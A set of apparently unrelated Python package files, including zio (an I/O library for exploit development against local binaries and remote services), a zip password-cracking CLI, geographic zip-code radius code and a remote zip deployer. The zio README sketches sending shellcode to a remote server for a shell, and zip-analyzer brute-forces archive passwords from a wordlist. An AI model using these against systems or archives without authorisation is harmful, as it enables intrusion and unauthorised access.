--stdout tty|pipe, specify tty or pipe stdout, default to tty -t, --timeout integer seconds, specify timeout -r, --read how to print out content read from child process, may be RAW(True), NONE(False), REPR, HEX -w, --write how to print out content written to child process, may be RAW(True), NONE(False), REPR, HEX -a, --ahead message to feed into stdin before interact -b, --before don't do anything before reading those input -d, --decode when in interact mode, this option can be used to specify decode function REPR/HEX to input raw hex bytes -l, --delay write delay, time to wait before write examples: $ zio -h you are reading this help message $ zio [-t seconds] [-i [tty|pipe]] [-o [tty|pipe]] "cmdline -x opts and args" spawning process and interact with it $ zio [-t seconds] host port zio becomes a netcat $ zio tty $ zio cat $ zio vim $ zio ssh -p 22 [email protected] $ zio xxd $ zio 127.1 22 # WOW! you can talk with sshd by hand! $ zio -i pipe ssh [email protected] # you must be crazy to do this! """) def cmdline(argv): import getopt # use getopt for better compatibility, argparse is not introduced until python2.7 try: opts, args = getopt.getopt(argv, 'hi:o:t:r:w:d:e:a:b:l:', ['help', 'stdin=', 'stdout=', 'timeout=', 'read=', 'write=', 'decode=', 'encode=', 'ahead=', 'before=', 'debug=', 'delay=', 'show-input=', 'show-output=']) except getopt.GetoptError as err: print(str(err)) usage() sys.exit(10) kwargs = { 'stdin': TTY, # don't use tty_raw now let's say few people use raw tty in the terminal by hand 'stdout': TTY, } decode = None encode = None show_input = None show_output = None ahead = None before = None for o, a in opts: if o in ('-h', '--help'): usage() sys.exit(0) elif o in ('-i', '--stdin'): if a.lower() == TTY.lower(): kwargs['stdin'] = TTY elif a.lower() == TTY_RAW.lower(): kwargs['stdin'] = TTY_RAW else: kwargs['stdin'] = PIPE elif o in ('-o', '--stdout'): if a.lower() == PIPE.lower(): kwargs['stdout'] = PIPE elif a.lower() == TTY_RAW.lower(): kwargs['stdout'] = TTY_RAW else: kwargs['stdout'] = TTY elif o in ('-t', '--timeout'): try: kwargs['timeout'] = int(a) except: usage() sys.exit(11) elif o in ('-r', '--read'): if a.lower() == 'hex': kwargs['print_read'] = COLORED(HEX, 'yellow') elif a.lower() == 'repr': kwargs['print_read'] = COLORED(REPR, 'yellow') elif a.lower() == 'none': kwargs['print_read'] = NONE else: kwargs['print_read'] = RAW elif o in ('-w', '--write'): if a.lower() == 'hex': kwargs['print_write'] = COLORED(HEX, 'cyan') elif a.lower() == 'repr': kwargs['print_write'] = COLORED(REPR, 'cyan') elif a.lower() == 'none': kwargs['print_write'] = NONE else: kwargs['print_write'] = RAW elif o in ('-d', '--decode'): if a.lower() == 'eval': decode = EVAL elif a.lower() == 'unhex': decode = UNHEX elif o in ('-e', '--encode'): if a.lower() == 'repr': encode = REPR elif a.lower() == 'hex': encode = HEX elif a.lower() == 'bin': encode = BIN elif o in ('--show-input', ): show_input = a.lower() in ('true', '1', 't', 'yes', 'y') elif o in ('--show-output', ): show_output = a.lower() in ('true', '1', 't', 'yes', 'y') elif o in ('-a', '--ahead'): ahead = a elif o in ('-b', '--before'): before = a elif o in ('--debug',): if os.path.exists(a): choice = input('file exists at %s, overwrite(Y/n)?' % a) if choice.strip().lower() == 'n': return kwargs['debug'] = open(a, 'wb') elif o in ('-l', '--delay'): kwargs['write_delay'] = float(a) target = None if len(args) == 2: try: port = int(args[1]) if is_hostport_tuple((args[0], port)): target = (args[0], port) except: pass if not target: if len(args) == 1: target = args[0] else: target = args io = zio(target, **kwargs) if before: io.read_until(before.encode('latin-1')) if ahead: io.write(ahead.encode('latin-1')) io.interact(write_transform=decode, read_transform=encode, show_input=show_input, show_output=show_output) def main(): if len(sys.argv) < 2: usage() sys.exit(0) cmdline(sys.argv[1:]) if __name__ == '__main__': main() # ------------------------------------------------- # =====> export useful objects and functions <===== __all__ = [ 'l8', 'b8', 'l16', 'b16', 'l32', 'b32', 'l64', 'b64', 'convert_packing', 'colored', 'match_pattern', 'write_stdout', 'write_stderr', 'xor', 'bytes2hex', 'hex2bytes', 'tohex', 'unhex', 'zio', 'HEX', 'TOHEX', 'UNHEX', 'EVAL', 'REPR', 'RAW', 'NONE', 'HEXDUMP', 'HEXDUMP_INDENT4', 'HEXDUMP_INDENT8', 'HEXDUMP_INDENT16', 'BIN', 'UNBIN', 'COLORED', 'TTY', 'PIPE', 'TTY_RAW', ] if python_version_major < 3: __all__.append('TimeoutError') # vi:set et ts=4 sw=4 ft=python :
zio
/zio-2.1.3.tar.gz/zio-2.1.3/zio.py
zio.py
zio ==== `zio <https://github.com/zTrix/zio>`_ is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io. The primary goal of `zio <https://github.com/zTrix/zio>`_ is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server. The following code illustrate the basic idea. .. code:: python from zio import * debug_local = True if debug_local: io = zio('./buggy-server') # used for local pwning development elif you_are_pwning_remote_server: io = zio(('1.2.3.4', 1337)) # used to exploit remote service io.read_until(b'Welcome banner') io.write(your_awesome_ropchain_or_shellcode) # hey, we got an interactive shell! io.interact() License ======= `zio <https://github.com/zTrix/zio>`_ use `SATA License (Star And Thank Author License) <https://github.com/zTrix/sata-license>`_, so you have to star this project before using. Read the LICENSE.txt carefully. Installation ============ This is a single-file project so in most cases you can just download `zio.py <https://raw.githubusercontent.com/zTrix/zio/master/zio.py>`_ and start using. pip is also supported, so you can also install by running .. code:: bash $ pip install zio More Info ========= Goto `zio <https://github.com/zTrix/zio>` for more information.
zio
/zio-2.1.3.tar.gz/zio-2.1.3/README.txt
README.txt
# Ziobro.py [![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](./LICENSE) [![Actions Status](https://github.com/Behoston/ziobro/workflows/Test/badge.svg)](https://github.com/Behoston/ziobro/actions?query=workflow%3ATest) [![Wheel Status](https://img.shields.io/pypi/wheel/ziobro)](https://pypi.python.org/pypi/ziobro/) [![Supported Python versions](https://img.shields.io/pypi/pyversions/ziobro)](https://pypi.python.org/pypi/ziobro/) [![PyPI - Status](https://img.shields.io/pypi/status/ziobro)](https://pypi.python.org/pypi/ziobro/) [![Latest version](https://img.shields.io/pypi/v/ziobro)](https://pypi.python.org/pypi/ziobro/) **Pakiet zrobiony dla beki, nie ma na celu obrażać nikogo, jest tylko followupem do przeterminowanych już memów.** ## Przykłady użycia ### Zakończenie pracy programu Jak wszyscy wiedzą, program musi się kiedyś kończyć, bo wszystko, co dobre kiedyś się kończy. Najlepiej jak kończy się dobrze, dlatego dzięki pakietowi Ziobro.py twoje programy będą zawsze kończyły się z sukcesem! ```python from ziobro.exit import ziobro def main_program(): try: ... except Exception as e: ... ziobro() ziobro() main_program() ``` `>>> Process finished with exit code 0` ### Stała Stałe wartości są ważne w programowaniu. Jeśli coś jest stałe, to można na tym polegać, więc im więcej stałych, tym program działa stabilniej. Pakiet zawiera dodatkową stałą do użytku w twoich programach (sic! zupełnie za darmo)! ```python from ziobro.const import ZIOBRO def shopping_cart_empty(cart): return len(cart) == ZIOBRO print(shopping_cart_empty([])) ``` `>>> 0` ### Funkcja Programowanie w Pythonie opiera się na funkcjach, bo można od razu uruchamiać funkcje, bez potrzeby tworzenia klas. Jak wiadomo, programiści preferują rozwiązania proste, więc w Pythonie klasy to rzadkość, funkcje to domena pięknego kodu. Do dyspozycji oddajemy dodatkową, uniwersalną funkcję, której można użyć, chociażby do mapowania. Program od razu staje się krótszy, czyli szybszy. ```python from ziobro.func import ziobro values = ['rozum', 'godność człowieka'] print(list(map(ziobro, values))) ``` `>>> [0, 0]` ### Obiekt/singleton Mimo że obiekty i klasy to egzotyka, uznaliśmy, że należy jednak dać wam (programistom) coś ekstra. Przedstawiamy uniwersalną klasę `Ziobro` oraz towarzyszący jej singleton `ziobro`, który pomoże efektywnie zarządzać pamięcią. ```python from ziobro.object import Ziobro, ziobro z = Ziobro('człowiek', 'wilk', 'drugi wilk') print(z == ziobro) print(z == 0) print(z == 0.0) print(z < 0) print(z > 0) print(z == None) ``` ``` >>> True >>> True >>> True >>> False >>> False >>> True ``` Gotowy obiekt klasy może zostać zawołany, ma tez metodę kończącą program dla wygody. ```python from ziobro.object import ziobro ziobro(12) ziobro.exit() ``` Obiekty klasy `Ziobro` zachowują się jak liczba (dokładniej `int`), co znaczy, że możemy używać tej klasy do wszelkich skomplikowanych obliczeń. ```python from ziobro.object import ziobro print((ziobro + ziobro) * ziobro - ziobro / (ziobro ** ziobro)) ``` `>>> 0.0` ## Wersjonowanie Pakiet korzysta z autorskiej odmiany [wersjonowania semantycznego](https://semver.org/lang/pl/) zaproponowanego przez [Lunder](https://github.com/Lunder4). Zamiast używać cyfr, numer wersji jest determinowany przez ilość zer. Jest to o wiele prostsze rozwiązanie, szczególnie dla osób, które nie potrafią odczytywać liczb. Przykłady: - wersja `0.0.00` w standardzie semver oznacza wersję `0.0.1` - wersja `00.0.000` oznacza `1.0.2` Jeśli ten doświadczalny sposób wersjonowania sprawdzi się w praktyce (nie widzimy powodu, czemu miałby się nie sprawdzić), to pełna dokumentacja będzie dostępna pod adresem [ziobver.org](https://ziobver.org/). Na ten moment trwają prace nad opracowaniem pełnej dokumentacji zgodnej z najlepszymi światowymi standardami. ## Znane problemy *na poważnie* 1. Nie wszystkie funkcjonalności pakietu da się zaimportować bez kolizji nazw. Można poradzić sobie z tym problemem poprzez aliasowanie. ```python from ziobro.func import ziobro as ziobro_f from ziobro.exit import ziobro as ziobro_e ``` 2. Wersjonowanie pakietu jest okrutne, prawdopodobnie żadne narzędzie do podbijania wersji zależności nie ogarnie. Tak samo, jak zestreleaser, którego używam do releasowania.
ziobro
/ziobro-0.0.0.tar.gz/ziobro-0.0.0/README.md
README.md
# zipAnalyzer A cli script to analyze zip archive. ## Installation Install the package with pip pip install zip-analyzer ## Usage Type ```zipAnalyzer --help``` to view the help. ``` usage: zipAnalyzer FILE [OPTIONS] A cli script to analyze zip archive. optional arguments: -h, --help show this help message and exit -c, --crack Tries to crack the encryption by enumeration over a password list. Extracts the zip archive if the password was found. --passlist PASSLIST Path to custom password list ``` ## Example analyze zip file ``` $zipAnalyzer invoice.zip encrypted: True File Name Modified Size invoice.docm 2020-05-13 09:36:06 7080 ``` ## Example use password list ``` $zipAnalyzer invoice.zip -c [+] Try 41 passwords [+] Password found: "777" [+] Files extracted ```
zip-analyzer
/zip-analyzer-1.0.0.tar.gz/zip-analyzer-1.0.0/README.md
README.md
import argparse import os import zipfile import sys import importlib.resources as package_resources from cli_formatter.output_formatting import warning, error, info import zip_analyzer def __parse_cli_arguments(): flags_to_parse = list() path = None for x in sys.argv[1:]: if not x.startswith('-') and path is None: path = x else: flags_to_parse.append(x) return flags_to_parse, path def analyse_zip_archive(zip_archive: zipfile.ZipFile): is_encrypted = __archive_is_encrypted(zip_archive=zip_archive) print('encrypted:'.ljust(20), is_encrypted) print() zip_archive.printdir() def crack_zip_archive(password_list: list, zip_archive: zipfile.ZipFile) -> str or None: """ returns password of the zip file or None if the password was not in the password list """ if not __archive_is_encrypted(zip_archive=zip_archive): warning('Zip file is not encrypted') info('Try {} passwords'.format(len(password_list))) for x in password_list: try: zip_archive.extractall(pwd=x.encode('utf-8')) info('Password found: "{}"'.format(x)) info('Files extracted') return x except KeyboardInterrupt: warning('Keyboard Interruption. Existing.') except: pass info('Password not found') return None def __archive_is_encrypted(zip_archive: zipfile.ZipFile): try: zip_archive.testzip() return False except RuntimeError: return True def __read_password_list(path_to_custom_password_list: str or None) -> list: password_list = list() if path_to_custom_password_list is not None: path_to_password_list = os.path.abspath(path_to_custom_password_list) with open(path_to_password_list, mode='r', encoding='utf-8') as password_list_file: for line in password_list_file: password_list.append(line.strip()) else: for x in package_resources.read_text(zip_analyzer, 'password_list.txt').split('\n'): password_list.append(x.strip()) return password_list def main(): flags_to_parse, path_to_file = __parse_cli_arguments() argument_parser = argparse.ArgumentParser(usage='zipAnalyzer FILE [OPTIONS]', description='A cli script to analyze zip archive.') argument_parser.add_argument('-c', '--crack', help="Tries to crack the encryption by enumeration over a password list. Extracts the zip archive if the password was found.", action='store_true', default=False) argument_parser.add_argument('--passlist', type=str, help="Path to custom password list", default=None) parsed_arguments = argument_parser.parse_args(flags_to_parse) if path_to_file is None: argument_parser.print_help() exit() path_to_archive = os.path.abspath(path_to_file) try: zip_archive = zipfile.ZipFile(path_to_archive) except Exception as exception: error('Zip file could not be read: {}'.format(exception)) exit() else: if parsed_arguments.crack: password_list = __read_password_list(path_to_custom_password_list=parsed_arguments.passlist) crack_zip_archive(password_list=password_list, zip_archive=zip_archive) else: analyse_zip_archive(zip_archive=zip_archive) if __name__ == '__main__': main()
zip-analyzer
/zip-analyzer-1.0.0.tar.gz/zip-analyzer-1.0.0/zip_analyzer/cli_script.py
cli_script.py
zip-code-radius =============== :info: Generate minimum sets of zip codes, based on a radius, that can be used in a series of searches to cover the entire USA Features ******** * downloads an up-to-date reference set of US postal codes from a repository hosted on ``github.com`` Installation ------------ .. code-block:: shell pip install zip-code-radius Usage ----- .. code-block:: python import sys from zip_code_radius import solver radius = float(sys.argv[1]) results = solver.solve(radius) print "radius: %d, zip-codes: %d" % (radius, len(results)) Notes ----- ``zip-code-radius`` stores the US postal code data at your os temp dir (e.g. /tmp/).
zip-code-radius
/zip-code-radius-0.0.1.tar.gz/zip-code-radius-0.0.1/README.rst
README.rst
from math import degrees, radians, cos, sin, asin, sqrt, pi MIN_LAT = radians(-90) # -PI/2 MAX_LAT = radians(90) # PI/2 MIN_LON = radians(-180) # -PI MAX_LON = radians(180) # PI def bounding_box(lon, lat, distance, in_miles=True): """Calculate the bounding coordinates (lat_min, lon_min) and (lat_max, lon_max) which are opposite corners of a bounding rectangle (on the sphere) that completely contains the query circle. Args: lon (numeric) : longitude in degrees lat (numeric) : latitude in degrees distance (numeric) : the distance from the point in_miles (bool) : True if the distance is in miles, False if the distance is in kilometers. Results: tuple (lat_min, lon_min, lat_max, lon_max) the lat/lon values are all in decimal degrees Acknowledgements: [1] http://janmatuschek.de/LatitudeLongitudeBoundingCoordinates """ R = 3956.0 if in_miles else 6371.0 d = float(distance)/R lat, lon = map(radians, [lat, lon]) lat_min = lat - d lat_max = lat + d if lat_min > MIN_LAT and lat_max < MAX_LAT: delta_lon = asin(sin(d) / cos(lat)) lon_min = lon - delta_lon if lon_min < MIN_LON: lon_min += 2.0 * pi lon_max = lon + delta_lon if lon_max > MAX_LON: lon_max -= 2.0 * pi else: lat_min = max(lat_min, MIN_LAT) lat_max = max(lat_max, MAX_LAT) lon_min = MIN_LON lon_max = MAX_LON return (degrees(lat_min), degrees(lon_min), degrees(lat_max), degrees(lon_max)) def haversine(lon1, lat1, lon2, lat2, in_miles=True): """Calculate the great circle distance between two points on the earth (specified in decimal degrees) Args: lon1 (numeric) : longitude in degrees of 1st point lat1 (numeric) : latitude in degrees of 1st point lon2 (numeric) : longitude in degrees of 2nd point lat2 (numeric) : latitude in degrees of 2nd point in_miles (bool) : True if the unit of the result is miles, otherwise False for kilometers. Results: distance (float): the distance between the two points """ lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2]) dlon = lon2 - lon1 dlat = lat2 - lat1 a = sin(dlat/2.0)**2 + cos(lat1) * cos(lat2) * sin(dlon/2.0)**2 c = 2.0 * asin(sqrt(a)) R = 3956.0 if in_miles else 6371.0 return c * R
zip-code-radius
/zip-code-radius-0.0.1.tar.gz/zip-code-radius-0.0.1/zip_code_radius/distance.py
distance.py
from collections import namedtuple from zip_code_radius import distance Point = namedtuple('Point', ['lat', 'lon']) Rectangle = namedtuple('Rectangle', ['nw', 'se']) def median(items): """Returns the median value of the argument items. Args: items (iterable): a list of numeric values Returns: numeric: the median of the list if non-empty else None """ items = sorted(items) if len(items) < 1: return None if len(items) %2 == 1: return items[((len(items)+1)/2)-1] if len(items) %2 == 0: return float(sum(items[(len(items)/2)-1:(len(items)/2)+1]))/2.0 def inside(rectangle, point): """Determine whether the argument Point is inside of the argument Rectangle. Args: rectangle (Rectangle): the bounding rectangle point (Point): the point Returns: bool: True if the Point is inside of the Rectangle, otherwise False. """ return rectangle.se.lon >= point.lon and \ point.lon >= rectangle.nw.lon and \ rectangle.nw.lat >= point.lat and \ rectangle.se.lat <= point.lat def intersect(rectangle_a, rectangle_b): """Determine whether the two Rectangles intersect each other. Args: rectangle_a (Rectangle): the 1st rectangle rectangle_b (Rectangle): the 2nd rectangle Returns: bool: True if rectangle_a and rectangle_b intersect / overlap otherwise False. """ if rectangle_a.nw.lon > rectangle_b.se.lon: # a's LHS is to the right of b's RHS return False if rectangle_a.se.lon < rectangle_b.nw.lon: # a's RHS is to the left of b's LHS return False if rectangle_a.nw.lat < rectangle_b.se.lat: # a's TOP is below b's BOTTOM return False if rectangle_a.se.lat > rectangle_b.nw.lat: # a's BOTTOM is above b's TOP return False return True def split(rectangle, point): """Split the argument Rectangle into four quadrants (nw, ne, se, sw) around the argument Point. Args: rectangle (Rectangle): the 1st rectangle point (Point): the point inside the rectangle around which the four quadrants will be centered Results: tuple (nw, ne, se, sw): the four quadrants of the rectangle """ nw = Rectangle( nw=rectangle.nw, se=point) ne = Rectangle( nw=Point(lat=rectangle.nw.lat, lon=point.lon), se=Point(lat=point.lat, lon=rectangle.se.lon)) se = Rectangle( nw=point, se=rectangle.se) sw = Rectangle( nw=Point(lat=point.lat, lon=rectangle.nw.lon), se=Point(lat=rectangle.se.lat, lon=point.lon)) return (nw, ne, se, sw) class QuadTree(object): """An implementation of a quad-tree. This quad-tree recursively divides a list of US postal codes into four quadrants until either (a) a depth of 8 is reached (b) there are 16 of fewer postal codes in this node Acknowledgements: [1]: http://www.pygame.org/wiki/QuadTree """ def __init__(self, zip_codes, depth=0, rectangle=None, split_median=True): """Creates a quad-tree. Args: zip_codes (iterable, ZipCode): the US postal codes to organize depth (int): the depth of this node. internal use only. rectangle (Rectangle): the bounding box of this node. internal use only. split_median (bool): whether to split the bounding box on the median lat/lon when True, otherwise on the center of the box """ self.depth = depth self.nw = self.ne = self.se = self.sw = None if rectangle: self.rectangle = rectangle else: max_lon=max(z.lon for z in zip_codes) min_lon=min(z.lon for z in zip_codes) max_lat=max(z.lat for z in zip_codes) min_lat=min(z.lat for z in zip_codes) rectangle = self.rectangle = Rectangle( nw=Point(lat=max_lat, lon=min_lon), se=Point(lat=min_lat, lon=max_lon)) if depth >= 8 or len(zip_codes) <= 16: self.zip_codes = zip_codes else: if split_median: clat = median([z.lat for z in zip_codes]) clon = median([z.lon for z in zip_codes]) else: clat = rectangle.nw.lat - rectangle.se.lat clon = rectangle.nw.lon - rectangle.se.lon rnw, rne, rse, rsw = split(rectangle, Point(lat=clat, lon=clon)) znw = [] zne = [] zse = [] zsw = [] for zip_code in zip_codes: if inside(rnw, zip_code): znw.append(zip_code) if inside(rne, zip_code): zne.append(zip_code) if inside(rse, zip_code): zse.append(zip_code) if inside(rsw, zip_code): zsw.append(zip_code) self.zip_codes = [] if len(znw) > 0: self.nw = QuadTree(znw, depth+1, rnw) if len(zne) > 0: self.ne = QuadTree(zne, depth+1, rne) if len(zse) > 0: self.se = QuadTree(zse, depth+1, rse) if len(zsw) > 0: self.sw = QuadTree(zsw, depth+1, rsw) def search(self, zip_code, radius, in_miles=True, rectangle=None): """Search the quad-tree for US postal codes within a given radius of the argument US postal code. Args: zip_code (ZipCode): the center of the search radius (numeric): the maximum distance from zip_code in_miles (bool): whether the radius is in miles (True) otherwise kilometers (False) rectangle (Rectangle): the bounding box of the search represented as a circle on the surface of a sphere. internal use only. Returns: list (ZipCode): all US postal codes within radius of the argument US postal code """ if rectangle is None: se_lat, nw_lon, nw_lat, se_lon = distance.bounding_box(zip_code.lon, zip_code.lat, radius, in_miles) rectangle = Rectangle( nw=Point(lat=nw_lat, lon=nw_lon), se=Point(lat=se_lat, lon=se_lon)) results = [z for z in self.zip_codes if distance.haversine(zip_code.lon, zip_code.lat, z.lon, z.lat, in_miles) <= radius] if self.nw is not None: if intersect(self.nw.rectangle, rectangle): results.extend(self.nw.search(zip_code, radius, in_miles, rectangle)) if self.ne is not None: if intersect(self.ne.rectangle, rectangle): results.extend(self.ne.search(zip_code, radius, in_miles, rectangle)) if self.se is not None: if intersect(self.se.rectangle, rectangle): results.extend(self.se.search(zip_code, radius, in_miles, rectangle)) if self.sw is not None: if intersect(self.sw.rectangle, rectangle): results.extend(self.sw.search(zip_code, radius, in_miles, rectangle)) return results
zip-code-radius
/zip-code-radius-0.0.1.tar.gz/zip-code-radius-0.0.1/zip_code_radius/quadtree.py
quadtree.py
# zip-deploy [![PyPI version](https://badge.fury.io/py/zip-deploy.svg)](https://badge.fury.io/py/zip-deploy) ![Upload Python Package](https://github.com/hgross/zip-deploy/workflows/Upload%20Python%20Package/badge.svg) ![Docker](https://github.com/hgross/zip-deploy/workflows/Docker/badge.svg) Provides an easy way to fetch contents from a remote ZIP files and sync/extract them to a local destination dir. Note that during download and extraction the contents will not be consistent. Not thread-safe - so take care and check the documentation. If you use the cli, check the -h option for configurable options. ## Installation ``` pip install zip-deploy ``` ## Usage Windows CLI: ``` # Executes the check every 15 seconds zip-deploy.exe --content-destination "./movies" --update-interval 15 "http://your-url.domain/movies.zip" ``` Unix cli: ``` # Executes the check every 15 seconds zip-deploy --content-destination "./movies" --update-interval 15 "http://your-url.domain/movies.zip" ``` As python module: ```` python -m zipdeploy.zipdeploy --content-destination /dev/shm/your/target/destination --update-interval 15 http://your-url.domain/movies.zip ```` In your own code (no periodic checks included, threading is your job): ``` from zipdeploy.zipdeploy import ZipDeploy zd = ZipDeploy("http://your-url.domain/movies.zip", "/dev/shm/your/target/destination") zd.download_if_required() ``` Using Docker: ``` # make sure to mount /your/target/destination into the container, if you plan to do something useful ;-) docker run ghcr.io/hgross/zip-deploy --content-destination /your/target/destination --update-interval 15 http://your-url.domain/movies.zip ``` ## Disclaimer This project is my playground project to get to know GitHub Actions for automated package publishing/Release pipelines on GitHub. Don't expect maintenance, but feel free to use this tool if it helps you out. I created it on a weekend for a friend who set up an [e-ink display project](https://github.com/TomWhitwell/SlowMovie) on his Raspberry Pi.
zip-deploy
/zip-deploy-0.1.5.tar.gz/zip-deploy-0.1.5/README.md
README.md
import argparse import os.path import pathlib import shutil import urllib.request import zipfile from pathlib import Path from time import time, sleep import re URL_REGEX = re.compile( r'^(?:http|ftp)s?://' # http:// or https:// r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' #domain... r'localhost|' #localhost... r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip r'(?::\d+)?' # optional port r'(?:/?|[/?]\S+)$', re.IGNORECASE) DEFAULT_DESTINATION_FOLDER = "./content" DEFAULT_TEMPORARY_DOWNLOAD_FILENAME = "download.zip" ETAG_FILE_NAME = ".etagfile" class ZipDeploy: """ Is instantiated with a destination folder to which a remotely hosted (HTTP(s)) ZIP file is extracted. The ZIP file and a .etagfile is written to the destination folder. The ZIP file exists during download and extraction time. The .etagfile contains the an ETag of the ZIP-file request to determine, if a re-download is required. Therefore it is written on extraction and cleared on re-download. If re-download is called, the contents are removed before the download. So keep in mind that during download and extraction no content is available in the destination directory. Not thread-safe. """ def __init__(self, content_source, content_destination=DEFAULT_DESTINATION_FOLDER, download_file_name=DEFAULT_TEMPORARY_DOWNLOAD_FILENAME, etag_file_name=ETAG_FILE_NAME): """ :param content_source: An url where to fetch the contents from. Must be a zip file. :param content_destination: the directory path where the contents should be extracted to (locally). :param download_file_name: the file name of the zip file that is downloaded locally to the destination dir :param etag_file_name: the etag file's file name """ self.content_source_url = content_source self.content_destination = os.path.abspath(content_destination) self.download_file_name = download_file_name self.etag_file_name = etag_file_name def __repr__(self): return 'ZipDeploy(%s, %s, %s, %s)' % (self.content_source_url, self.content_destination, self.download_file_name, self.etag_file_name) def __str__(self): return self.__repr__() def download_content(self, content_download_url=None): """ Downloads the content of "content_url" (ZIP-file) and extracts this content to "unzip_folder". Additionally writes a file named ETAG_FILE_NAME to the content directory, containing the ETag of the ZIP-file when downloaded. :param content_download_url: the url to download the zip file from. If None (default), the content_source url will be used. """ unzip_folder = self.content_destination temporary_download_filename = self.download_file_name content_url = content_download_url if content_download_url is not None else self.content_source_url # ensure destination directory existence pathlib.Path(unzip_folder).mkdir(parents=True, exist_ok=True) # download the zip file download_path = os.path.join(os.path.abspath(unzip_folder), temporary_download_filename) local_filename, headers = urllib.request.urlretrieve(content_url, download_path) print("Downloaded %s to: %s" % (content_url, download_path)) # extract with zipfile.ZipFile(download_path, 'r') as zip_ref: zip_ref.extractall(unzip_folder) print("Extracted contents of %s to %s" % (download_path, unzip_folder)) # extract etag from headers and cache it etag_file_location = os.path.join(os.path.abspath(unzip_folder), ETAG_FILE_NAME) if 'ETag' in headers: e_tag = headers["ETag"] with open(etag_file_location, "w") as etag_file: etag_file.write(e_tag) print("Wrote etag to: %s" % (etag_file_location,)) else: print( "Warning: Remote URL %s did not provide an ETag in the headers. No caching will take place (downloading every time).") # clean up try: os.remove(download_path) print("Deleted file %s" % (download_path,)) except OSError as e: print.error("Error deleting file: %s : %s" % (download_path, e.strerror)) def retrieve_etag(self, content_download_url=None): """ Retrieves the ETag from the given "content_download_url" or content_source_url respectively. :param content_download_url: if not None (default), will override the content_source_url provided during instance creation :return: the ETag (if provided). """ """Retrieves just the ETag from the given url using HTTP GET""" url = content_download_url if content_download_url is not None else self.content_source_url req = urllib.request.Request(url, data=None, headers={}, origin_req_host=None, unverifiable=False, method="GET") with urllib.request.urlopen(req) as response: headers = response.headers return headers["ETag"] def is_download_required(self, content_download_url=None): """ Checks whether a download is required. Based on the cached etag file (if existent). If the file doesnt exist, download is assumed to be required. If the etag written to the filer differs from the etag of "url", a download is required. :param content_download_url: if not None (default), will override the content_source_url provided during instance creation :return: True, if a download is required """ url = content_download_url if content_download_url is not None else self.content_source_url unzip_folder = self.content_destination etag_file_location = os.path.join(os.path.abspath(unzip_folder), ETAG_FILE_NAME) if not os.path.isfile(etag_file_location): print("ETag file %s does not exist as a file. Download is required." % (etag_file_location,)) return True remote_e_tag = self.retrieve_etag(url) local_e_tag = Path(etag_file_location).read_text() if remote_e_tag != local_e_tag: print("ETags differ. Local ETag: %s, Remote ETag: %s" % (local_e_tag, remote_e_tag)) print("Content download is required.") return True print("ETags are identical. Local ETag: %s, Remote ETag: %s" % (local_e_tag, remote_e_tag)) print("Content download is not required.") return False def clear_content(self): """Deletes the destination folder""" try: print("Clearing content directory %s ..." % self.content_destination) shutil.rmtree(self.content_destination, ignore_errors=True) print("Content directory %s cleared." % self.content_destination) except OSError as e: print.error("Error: %s : %s" % (self.content_destination, e.strerror)) def download_if_required(self, content_zip_url=None, force_download=False): """ Downloads a zip file from the given 'content_zip_url'. Extracts the contents to 'content_destination_directory'. Only downloads and extracts the contents, if the ETag provided by the content_zip_url's headers differ from the previously cached ones (if any). :param content_zip_url: the url to download from (optional). If not set, the configured source url during instance creation is used. :param force_download: Setting "force_download" to True allows to forcefully (re-)download the content. Default is False. :return: True if download was required and happened, False if not required """ content_url = content_zip_url if content_zip_url is not None else self.content_source_url if force_download: self.clear_content() if self.is_download_required(content_url): print("Download is required. Going to clear content, then download and extract content.") self.clear_content() print("Downloading and extracting content from %s to %s ..." % (content_url, self.content_destination)) self.download_content(content_url) print("Content at %s was updated sucessfully." % (self.content_destination, )) return True return False def main_func(): """ The main function to be called from the cli :return: """ argParser = argparse.ArgumentParser(description="Starts ZipDeploy with a periodic checking schedule.") argParser.add_argument("content_url", type=str, help="Content url to fetch the zip file from") argParser.add_argument("--content-destination", type=str, default=DEFAULT_DESTINATION_FOLDER, help="Folder to put the extracted zip file's contents in after the download.") argParser.add_argument('--update-interval', default="1800", type=int, help='Update interval in seconds.') args = argParser.parse_args() # parse and validate args content_source = args.content_url content_destination = args.content_destination update_interval = args.update_interval if re.match(URL_REGEX, content_source) is None: raise ValueError("%s is not a valid URL" % (content_source)) if update_interval <= 0: raise ValueError("Upate interval is invalid - must be greater than 0") if update_interval <= 10: print ("Warning: very low update interval (%d seconds) - make sure you really want that." % (update_interval, )) zip_deploy = ZipDeploy(content_source=content_source, content_destination=content_destination) while True: zip_deploy.download_if_required() sleep(update_interval) if __name__ == "__main__": main_func()
zip-deploy
/zip-deploy-0.1.5.tar.gz/zip-deploy-0.1.5/zipdeploy/zipdeploy.py
zipdeploy.py
========= zip-files ========= .. image:: https://img.shields.io/badge/github-goerz/zip__files-blue.svg :alt: Source code on Github :target: https://github.com/goerz/zip_files .. image:: https://img.shields.io/pypi/v/zip_files.svg :alt: zip-files on the Python Package Index :target: https://pypi.python.org/pypi/zip_files .. image:: https://img.shields.io/travis/goerz/zip_files.svg :alt: Travis Continuous Integration :target: https://travis-ci.org/goerz/zip_files .. image:: https://ci.appveyor.com/api/projects/status/k2lqxw97gv2m9gpm/branch/master?svg=true :alt: AppVeyor Continuous Integration :target: https://ci.appveyor.com/project/goerz/zip-files .. image:: https://img.shields.io/coveralls/github/goerz/zip_files/master.svg :alt: Coveralls :target: https://coveralls.io/github/goerz/zip_files?branch=master .. image:: https://img.shields.io/badge/License-BSD-green.svg :alt: BSD License :target: https://opensource.org/licenses/BSD-3-Clause Command line utilities for creating zip files. Provides the ``zip-files`` and ``zip-folder`` command line utilities. These are intended as an easy platform-independent tool to create zip files with an arbitrary file name and an arbitrary root (the top-level folder after extracting a zip) from files and folders at arbitrary locations on the file system. Typical usage includes: * Deploy zip archives of Sphinx-documentation while releasing Python packages: .. code-block:: shell zip-folder --auto-root --outfile docs/_build/artifacts/mypackage-v1.0.0.zip docs/_build/html creates a file ``mypackage-v1.0.0.zip`` in ``docs/_build/artifacts`` that unzips as a folder ``mypackage-v1.0.0`` containing the files originally in ``docs/_build/html/``. * Create zip files pulled together from different locations, for 